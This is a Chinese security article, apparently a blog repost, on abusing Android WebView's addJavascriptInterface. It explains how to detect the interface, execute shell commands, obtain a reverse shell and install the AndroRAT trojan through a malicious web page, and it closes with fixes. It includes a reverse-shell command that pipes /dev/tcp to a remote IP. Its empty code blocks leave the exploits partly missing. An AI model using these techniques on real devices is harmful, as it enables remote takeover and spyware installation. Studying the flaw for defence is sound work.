0211-WebView中接口隐患与手机挂马利用

# WebView中接口隐患与手机挂马利用

0x00 背景
——-

* * *

在android的sdk中封装了webView控件。这个控件主要用开控制的网页浏览。在程序中装载webView控件,可以设置属性(颜色,字体等)。类似PC下directUI的功能。在webView 下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口函数可实现穿透webkit控制android 本机。

0x01 检测利用
———

* * *

一般使用html 来设计应用页面的几乎不可避免的使用到addJavascriptInterface,包含不限于android浏览器。

在android 代码程序一般是这样使用:

“`
settings.setJavaScriptEnabled(true);
settings.setJavaScriptCanOpenWindowsAutomatically(true);
mWebView.addJavascriptInterface(new JSInvokeClass(), “js2java”);

“`

这里可以用

“`
apk->zip->dex->dex2jar->jdgui->java

“`

代码来查找。

但建议用apktool 反编译smali(毕竟不是所有apk都能反编译成java代码)

在smali代码中 则是类似下列的代码:

“`
const-string v0, ” js2java ”
invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V

“`

当检测到存在上述代码时,可以进行进一步验证利用:

在11年,已经有人利用addJavascriptInterface进行文件读写,并放出简单的poc,到12年出现了简单的执行代码的exp。利用的是反射回调java类的内置静态变量。如下列的利用代码;

“`

“`

利用java的exec执行linux的shell命令。

0x02 远程获取shell
————–

* * *

套用yuange的一句话:Poc远远小于exp的价值。

利用addJavascriptInterface实现shell.

Android内部的armlinux 是没有busybox 的,一些常规弹shell的方法被限制。

使用了java的反弹shell方法

“`
//execute([“/system/bin/sh”,”-c”,”exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do $line 2>&5 >&5; done”]);

“`

在Nexus One 4.3的android虚拟机 并未成功弹出shell.

后发现android中可执行 nc命令 (阉割版的不带-e的nc)

这里用了nc的另外一种弹shell的方法完成

Exp 内容:

“`

“`

// 注 xxx 保护隐私用xx代指。

效果如下 ![enter image description here](http://drops.javaweb.org/uploads/images/43421823c10981f61790800e6b2439aff621c4f1.jpg)

当然可以用远程IP地址。

0x03 远程挂马
———

* * *

毕竟是android环境,shell使用不是很方便。类似xsser肯定不满足于此。

再升华下,实现网页挂马。

Android 4.1已经加入ASLR技术,堆喷射之类不再有效。UAF要针对android的内核版本。利用自身特性的漏洞是目前比较靠谱的方法。

这里以androrat远控木马为例。

实现网页挂马

大部分浏览器已经对下载文件进行保存提示。这里需要把andrat.apk写到挂马网页之中。

“`

```

将androrat.apk拆分。

利用echo写入到sdcard中(此目录可读可写 不可执行)。

利用自身带的adb进行安装(安装各种xx手机助手的不在少数吧)。 ![enter image description here](http://drops.javaweb.org/uploads/images/f5f8fdbe47c7140f4c379735315cfccef0dc2f71.jpg)

Androrat 成功安装,这里使用了androrat的debug=true模式。

![enter image description here](http://drops.javaweb.org/uploads/images/f10571991f53b1609dbdfe976406534c672c6ea6.jpg)

成功连接到控制端。

0x04 修复
-------

* * *

1、Android 4.2 (api17)已经开始采用新的接口函数【java中应该叫方法:) 】,@JavascriptInterface 代替addjavascriptInterface, 有些android 2.3不再升级,浏览器需要兼容。

2、在使用js2java的bridge时候,需要对每个传入的参数进行验证,屏蔽攻击代码。

3、控制相关权限或者尽可能不要使用js2java的bridge。

Link:[http://developer.android.com/reference/android/webkit/WebView.html](http://developer.android.com/reference/android/webkit/WebView.html)[http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)](http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29)[http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf](http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf)[http://50.56.33.56/blog/?p=314](http://50.56.33.56/blog/?p=314)

© 版权声明
THE END
喜欢就支持一下吧
点赞1赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容